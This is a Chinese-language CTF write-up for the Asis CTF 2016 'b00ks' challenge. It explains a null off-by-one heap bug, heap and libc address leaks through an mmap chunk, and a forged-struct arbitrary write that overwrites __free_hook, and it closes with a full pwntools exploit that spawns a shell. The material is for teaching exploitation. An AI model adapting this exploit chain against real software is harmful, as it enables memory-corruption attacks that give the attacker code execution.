天天看點

off by one --- Asis CTF 2016 b00ks題解确定漏洞點程式分析漏洞利用exp解釋

确定漏洞點

首先,checksec檢視開了哪些保護,其中PIE會使我們的調試難度稍稍增加。

再執行程式之後是一個經典的菜單選擇,可以大概判斷是與堆的利用有關。

off by one --- Asis CTF 2016 b00ks題解确定漏洞點程式分析漏洞利用exp解釋
off by one --- Asis CTF 2016 b00ks題解确定漏洞點程式分析漏洞利用exp解釋

通過用ida反編譯之後檢視,發現有一個關于讀的函數會多讀入一個\x00,造成了一個null off by one的漏洞。

off by one --- Asis CTF 2016 b00ks題解确定漏洞點程式分析漏洞利用exp解釋

程式分析

create 函數

  1. 建立了book name的堆
  2. 建立了book description的堆
  3. 建立了book struct的堆,指向這個堆的指針放在bss段上。book struct的結構為:
struct book {
	int index;
	char* book_name
	char* book_description
	int description_size
}
           

并注意其中的每個字段都占8個位元組,雖然int類型本身是四個位元組,但是struct結構中為了記憶體對齊進行了padding

delete函數

  1. free book name
  2. free book description
  3. free book strcut
  4. 将指向book struct的指針清空

edit函數

根據index選擇一個book修改其description内容,大小限制在description size

print detail函數

周遊index,根據book struct中指針資訊,列印出name和description内容。最後列印出author name

change author name

改變author name,這裡有一個null off by one漏洞,輸入32個字元會向記憶體裡多寫入一個\x00

記憶體布局

bss段上

0x55b6a94d8040: 0x6161616161616161      0x6161616161616161 <--author name
0x55b6a94d8050: 0x6161616161616161      0x6161616161616161 <-- author name
0x55b6a94d8060: 0x000055b6aab2f180 <--book struct ptr    0x0000000000000000
0x55b6a94d8070: 0x0000000000000000      0x0000000000000000
           

heap上

book struct
0x55b6aab2f180: 0x0000000000000001 <--index     0x000055b6aab2f020 <--name ptr
0x55b6aab2f190: 0x000055b6aab2f050 <--description ptr     0x0000000000000120 <--description size
0x55b6aab2f1a0: 0x0000000000000000      0x0000000000020e61 <-- top chunk size
           

漏洞利用

洩漏堆上的位址

通過對記憶體的觀察我們可以知道,author name和book struct ptrs是緊挨着的。于是很容易能洩漏出一個book struct ptr的位址,也就是堆上的位址。

  1. 輸入author name為32個位元組
  2. 再申請一個book,此時記憶體為
0x55b6a94d8040: 0x6161616161616161      0x6161616161616161
0x55b6a94d8050: 0x6161616161616161      0x6161616161616161
0x55b6a94d8060: 0x000055b6aab2f180      0x0000000000000000
           

由于printf一個字元串是一直到\x00為止,是以列印出name的同時也能洩漏出了堆上的位址

利用NULL OFF BY ONE

之前提到修改author name時候有null of by one的漏洞。在這裡的話能把指向第一個book的指針0x000055b6aab2f180修改為0x000055b6aab2f100,指向的位址就比原來的低。隻要我們第一個book申請的大小正合适,那麼修改完成後的指針就能落在book1.description中,而description是我們可以修改的,于是我們就能僞造一個book結構,進而能進行任意寫了。

洩漏libc基址

可以進行任意寫了,那麼我們還需要知道一下libc基址。如此一來,我們才可能将system或者one gadget寫入malloc_free或者free_hook中。這裡采用的方法是用malloc申請一個很大(大于128k)的位址,于是這個位址就被配置設定在了mmap區域,mmap區域和libc的偏移是固定的,是以我們洩漏mmap的位址,就等于洩漏出了libc的基址。

exp解釋

leak通過在原來的book1的description中僞造了一個新的book1做了兩件事情。第一,新的book1的name ptr的值為book2 description的值,即mmap的位址,通過show()函數能洩漏出mmap的位址,進而獲得libc基址。第二,由于可以通過新的book1的description指針指向的位址進行任意寫,是以這裡我們修改了book3的description ptr為free hook位址。

最後對book3修改它的description的内容,實際上也就是修改了free_hook的内容。這裡就修改成one_gadget。

另外一個值得注意的點:

由于edit也調用了null off by one的讀入函數,如果後面不加\x00的話,那麼book3的size字段就變成了0,之後的讀入就是讀入0位元組。

完整的exp如下:

#coding=utf-8
from pwn import *

DEBUG = 1

io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

if DEBUG == 1:
    context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
    context.log_level = "DEBUG"

def create(name, description):
    io.recvuntil("> ")
    io.sendline("1")
    io.recvuntil(": ")
    io.sendline(str(len(name)))
    io.recvuntil(": ")
    io.sendline(name)
    io.recvuntil(": ")
    io.sendline(str(len(description)))
    io.recvuntil(": ")
    io.sendline(description)

def delete(index):
    io.recvuntil("> ")
    io.sendline("2")
    io.recvuntil(": ")
    io.sendline(str(index))

def edit(index, description):
    io.recvuntil("> ")
    io.sendline("3")
    io.recvuntil(": ")
    io.sendline(str(index))
    io.recvuntil(": ")
    io.sendline(description)

def change_name(name):
    io.recvuntil("> ")
    io.sendline("5")
    io.recvuntil(": ")
    io.sendline(name)

def show():
    io.recvuntil("> ")
    io.sendline("4")

def leak(addr1, addr2):
    #修改faks_book1的結構
    #addr1是name位置,目的是洩漏mmap記憶體的位置
    #addr2是desc的位置
    payload = "c"*0xb0 + p64(0x1) + p64(addr1) + p64(addr2) + p64(0x120)
    edit(1, payload)
    change_name("b"*32) #觸發null off by one
    show()
    io.recvuntil("Name: ")
    addr = u64(io.recv(6).ljust(8, "\x00"))
    return addr

gdb.attach(io)

#洩漏堆位址(book1的位址)
io.recvuntil("Enter author name:")
io.sendline("a"*32)

create("a"*0x20, "b"*0x120)
show()
io.recvuntil("Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
book1_addr = u64(io.recv(6).ljust(8, "\x00"))
print(hex(book1_addr))

#洩漏mmap位址
create("a"*0x20, "b"*0x21000)
create("/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00\x00", "b"*0x8)

#book1_addr+0x70是記錄開出的mmap的位址
#book1_addr+0xb0指向了book3.description
libc_addr = leak(book1_addr+0x70, book1_addr+0xe0) - 0x5bc010
print("libc address: " + hex(libc_addr))

system_addr = libc_addr + libc.symbols["system"]
free_hook = libc_addr + libc.symbols["__free_hook"]

print("system address: " + hex(system_addr))
print("free hook address: " + hex(free_hook))

#由于現在fake_book1.description是chunk3的description位址,執行下面一條指令就是在chunk3的description中寫入free hook位址
edit(1, p64(free_hook) + "\x08")


one_gadget = libc_addr + 0x45216

edit(3, p64(system_addr))

delete(3)

io.interactive()